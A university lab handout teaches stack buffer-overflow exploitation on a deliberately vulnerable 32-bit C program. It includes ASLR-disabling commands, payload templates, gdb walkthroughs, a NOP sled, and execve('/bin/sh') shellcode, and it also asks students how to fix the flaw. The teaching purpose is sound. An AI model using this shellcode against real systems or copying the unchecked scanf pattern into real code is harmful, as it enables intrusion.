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## Bof Lab Task

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Vulnerable program:

```
#include <stdio.h>

void win() { // at 0x08048456
    puts("Excellent, now let's go hack the world");
}

void vuln() {
    char buf[16];
    scanf("%s", buf);
}

int main() {
    puts("welcome back to 2023 CS315, let's have some fun!");
    vuln();
    puts("Have a good day, Bye~");
    return 0;
}
```

## 0 WarmUp

---

Before exercise, remember to disable ASLR by `echo 0 | sudo tee`

`/proc/sys/kernel/randomize_va_space` or `sudo sysctl -w kernel.randomize_va_space=0`.

If you want to enable ASLR again, set `randomize_va_space` to 2.

## 0.0 Overwrite the return address of `vu1n` to `w1n`'s address.

Here are some ways to pass the unprintable character in `w1n`'s address to program:

- Use `echo -e` or `printf` to print it and use pipe `|` to pass it to program as input.
  - For example, `echo -e "AAAA [??] AAA\x??\x??\x??\x08\n" | ./bof`
- For more complicated cases, we can first generate the payload and save it to a file, then use `<` to redirect the file to program as input.
  - Here is an exapmle in C, use `./bof < payload` to run it`:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
    const char* buffer = "AAAA [??] AAA\x??\x??\x??\x08\n";
    /* Save the contents to the file "payload" */
    FILE *payload;
    payload = fopen("payload", "w+");
    fwrite(buffer, sizeof(buffer), 1, payload);
    fclose(payload);
}
```

- However, the recommended way is to use Python and directly pass the payload to program as input.

Note that pwntools is vary powerful and convenient, rember to check [documentations!](#)

```
from pwn import *

p = process("./bof")
p.sendline(b"A"* [??] + p32(0x08???????))
p.interactive()
```

If you successfully hijack the control flow of the program, the program should execute `w1n()` and print `Excellent, now let's go hack the world.`

**[?]** in the above code should be replaced by the correct value.

## 0.1 test shellcode

Here is a shellcode that can print "Good Job".

```

/* push 'Good_Job!' */
push 0x626f4a5f          ; h_Job
push 0x646f6f47          ; hGood
/* call write(1, 'esp', 8) */
push SYS_write /* 4 */   ; j\x04
pop eax                  ; x
push 1                   ; j\x01
pop ebx                  ; [
mov ecx, esp             ; \x89\xe1
push 8                   ; j\x08
pop edx                  ; Z
int 0x80                 ; \xcd\x80

```

## C version

To generate and test the payload file in C, we can refer to the following code:

Compile with `gcc -m32 -o test test.c`

```

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char shellcode[] = "h_JobhGoodj\x04xj\x01[\x89\xe1j\x08z\xcd\x80";

int main(){
    char buffer[512];
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(buffer, 0x90, sizeof(buffer));
    /* You need to fill the buffer with appropriate contents here */
    memcpy(buffer + ???, shellcode, sizeof(shellcode));
    /* You also need set the correct return address */
    buffer[???] = ???
    /* Save the contents to the file "payload" */
    FILE *payload;
    payload = fopen("payload", "w+");
    fwrite(buffer, sizeof(buffer), 1, payload);
    fclose(payload);
}

// test shellcode
int main() {
    mprotect((void *)((int)shellcode & 0xfffff000), 4096, 7); // PROT_READ |
    PROT_WRITE | PROT_EXEC
    ((void *) (void))shellcode();
}

```

## Python version

For the Python pwntools version, we can use `shellcraft` module to generate the shellcode and use `asm` module to assemble the shellcode.

Remember to [check shellcraft doc](#) (also remember specify the architecture to `i386` by `context.arch = 'i386'`)

We may test shellcode [via pwnlib.runner](#).

## 0.2 test shellcode in bof

Place the shellcode in the buffer and overwrite the return address of `vu1n` to the address of the shellcode.

### 0.2.1 find the address of the shellcode

We may use gdb to find the address of the shellcode.

(The snapshot is using gdb with pwndbg plugin)

If you want analyze the disassembly code before debugging, you may use `objdump -d bof` to disassemble the program.

- Firstly, lunch gdb with `gdb ./bof`
- Then, set a breakpoint at the beginning of `vu1n` function with `b vu1n` (or `break vu1n`).
  - Note that to set a breakpoint with address, we can use `b *0x80484b8` (`0x80484b8` is address you want).
- Now, run the program with `r` (or `run`).
- The process should hit the breakpoint, now we can use `disas vu1n` to disassemble the `main` function.
  - Now, we can use `ni` (or `nexti`) to execute the next instruction. And `ni x` means execute `x` times of `ni`.
  - Also, use `si` (or `stepi`) to step into the function call.
  - **Note in gdb, press enter to repeat the last command.**
- After running into `scanf` function, we can interactive with the program by inputing some string.
  - What's the address of the buffer?

- o Is the buffer address must be the same every time we run the program? (hint: With different environment variables)

```

pwndbg>
0x080484c4 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

EAX 0xffffd0e0 → 0xffffd1d4 → 0xffffd398 ← '/tmp/bof'
EBX 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ← 0x229dac
ECX 0xf7fa49b4 (_IO_stdfile_1_lock) ← 0x0
EDX 0x1
EDI 0xf7ffcb80 (_rtld_global_ro) ← 0x0
ESI 0xffffd1d4 → 0xffffd398 ← '/tmp/bof'
EBP 0xffffd0f8 → 0xffffd108 → 0xf7ffd020 (_rtld_global) → 0xf7ffda40 ← 0x0
*ESP 0xffffd0d0 → 0x80485cf ← and    eax, 0x73 /* '%s' */
*EIP 0x80484c4 (vuln+18) → 0xfffe57e8 ← 0x0

0x80484b8 <vuln+6>    sub    esp, 8
0x80484bb <vuln+9>    lea   eax, [ebp - 0x18]
0x80484be <vuln+12>   push  eax
0x80484bf <vuln+13>   push  0x80485cf
▶ 0x80484c4 <vuln+18> call  __isoc99_scanf@plt          <__isoc99_scanf@plt>
    format: 0x80485cf ← 0x7325 /* '%s' */
    vararg: 0xffffd0e0 → 0xffffd1d4 → 0xffffd398 ← '/tmp/bof'

0x80484c9 <vuln+23>    add   esp, 0x10
0x80484cc <vuln+26>    nop
0x80484cd <vuln+27>    leave
0x80484ce <vuln+28>    ret

0x80484cf <gadget>    push  ebp
0x80484d0 <gadget+1>    mov  ebp, esp

00:0000 | esp 0xffffd0d0 → 0x80485cf ← and    eax, 0x73 /* '%s' */
01:0004 | 0xffffd0d4 → 0xffffd0e0 → 0xffffd1d4 → 0xffffd398 ← '/tmp/bof'
02:0008 | 0xffffd0d8 → 0xffffd140 → 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ← 0x229dac
03:000c | 0xffffd0dc → 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ← 0x229dac
04:0010 | eax 0xffffd0e0 → 0xffffd1d4 → 0xffffd398 ← '/tmp/bof'
05:0014 | 0xffffd0e4 → 0xf7ffcb80 (_rtld_global_ro) ← 0x0
06:0018 | 0xffffd0e8 → 0xffffd108 → 0xf7ffd020 (_rtld_global) → 0xf7ffda40 ← 0x0
07:001c | 0xffffd0ec → 0x804848d (main+30) ← add    esp, 0x10

▶ f 0 0x80484c4 vuln+18
  f 1 0x8048495 main+38
  f 2 0xf7d9a519 __libc_start_call_main+121
  f 3 0xf7d9a5f3 __libc_start_main+147
  f 4 0x8048372 _start+50

pwndbg> ni

```

- After entering the value for scanf, value in buffer should be changed:

```

00:0000 | esp 0xffffd0d0 → 0x80485cf ← and    eax, 0x73 /* '%s' */
01:0004 | 0xffffd0d4 → 0xffffd0e0 ← 'CS315_1s_here!'
02:0008 | 0xffffd0d8 → 0xffffd140 → 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_)
03:000c | 0xffffd0dc → 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ← 0x229dac
04:0010 | 0xffffd0e0 ← 'CS315_1s_here!'
05:0014 | 0xffffd0e4 ← '5_1s_here!'
06:0018 | 0xffffd0e8 ← '_here!'
07:001c | 0xffffd0ec ← 0x8002165 /* 'e!' */

```

## 0.2.1 construct the payload

The length of %s for scanf is arbitrary, we can put **n bytes junk** before the return address, overwrite the return address with the address of the shellcode, and put **shellcode** after the return address.

Finish C demo or Python code to generate the payload.

To finish 0.2.2, generate the payload file first.

## 0.2.2 test the payload in gdb

In gdb, we can use `r < payload` to run the program with the payload file as input.

Does the program print "Good Job"?

## 0.2.3 test the payload outside gdb

We can use `./bof < payload` to run the program with the payload file as input. **(but this command will send EOF to program, so the program will not receive any input from stdin, if you want to interactive with the program, you may use `cat payload - | ./bof` to run the program)**

Does the program print "Good Job"?

Attach the running process by `gdb -p <pid>` and check the address of the buffer again.

Our payload probably not work outside gdb, but we can increase a chance to execute shellcode by *add nop sled*, and exploit like this:

```
payload += p32(return_address)
payload += "\x90" * 100 # 0x90 is nop instruction in x86
payload += asm(shellcode)
```

If we happend return to nop(0x90) sled, the program will eventually run to our shellcode.

## 1. Lab Task

### Exploit buffer-overflow vulnerability in `bof` to get the shell access.

In this lab, one way to get the shell access is run a shellcode that equivalent to `execve("/bin/sh")`.

Here is a demo shellcode:

```
const char shellcode[] = \
"\x31\xc0" /* xorl %eax,%eax */ \
"\x50" /* pushl %eax */ \
"\x68" //sh" /* pushl $0x68732f2f */ \
"\x68" //bin" /* pushl $0x6e69622f */ \
"\x89\xe3" /* movl %esp,%ebx */ \
"\x50" /* pushl %eax */ \
"\x53" /* pushl %ebx */ \
"\x89\xe1" /* movl %esp,%ecx */ \
"\x99" /* cdq */ \
"\xb0\x0b" /* movb $0x0b,%al */ \
"\xcd\x80" /* int $0x80 */ \
;
```

We can test the shellcode use program in [0.1](#).

What happend if we use this shellcode in `bof`?

hint:

- break after scanf or step into shellcode
- try `man scanf` to see chopping behavior of scanf
- 09, 0a, 0b, 0c, 0d, 20

How can we avoid white-space characters in shellcode?

hint:

- Use other instructions to construct the shellcode yourself
- <https://www.exploit-db.com/shellcodes>
- msfvenom
- <https://github.com/SkyLined/alpha3>

## Submit (Assume in total 100 points, 5pts for bonus)

- 1.The screenshot and payload of: (40 pts)
  - print `Excellent, now let's go hack the world` (only finish this will get 10 pts)
  - print `Good Job` in gdb (only finish this will get 20 pts)
  - print `Good Job` outside gdb (only finish this will get 30 pts)
  - lunch shell (only finish this can get 40 pts)
- 2.How did you avoid white-space characters in shellcode? (20 pts, 15pts for only one way, 20 pts for self-designed shellcode or more than one way)
- 3.How did you **fix** the address of the shellcode(return address), and why address are different in different environment? (10 + 10 pts)
- 4.How to avoid this vulnerability? After fix and recompile your `bof` program, run exploit again and show your screenshot. (10 pts)
- 5.If system-wide ASLR is enabled:
  - 5.1 Can you still print `Excellent, now let's go hack the world`? (5 pts)
  - 5.2 Can you still return to your shellcode? (5 pts)

You can get full 10 pts if present a sound and detailed explanation, question 5 has multiple answer.

Bonus: After ASLR is enabled, return to shellcode in `bof` will get extra 5 pts bonus.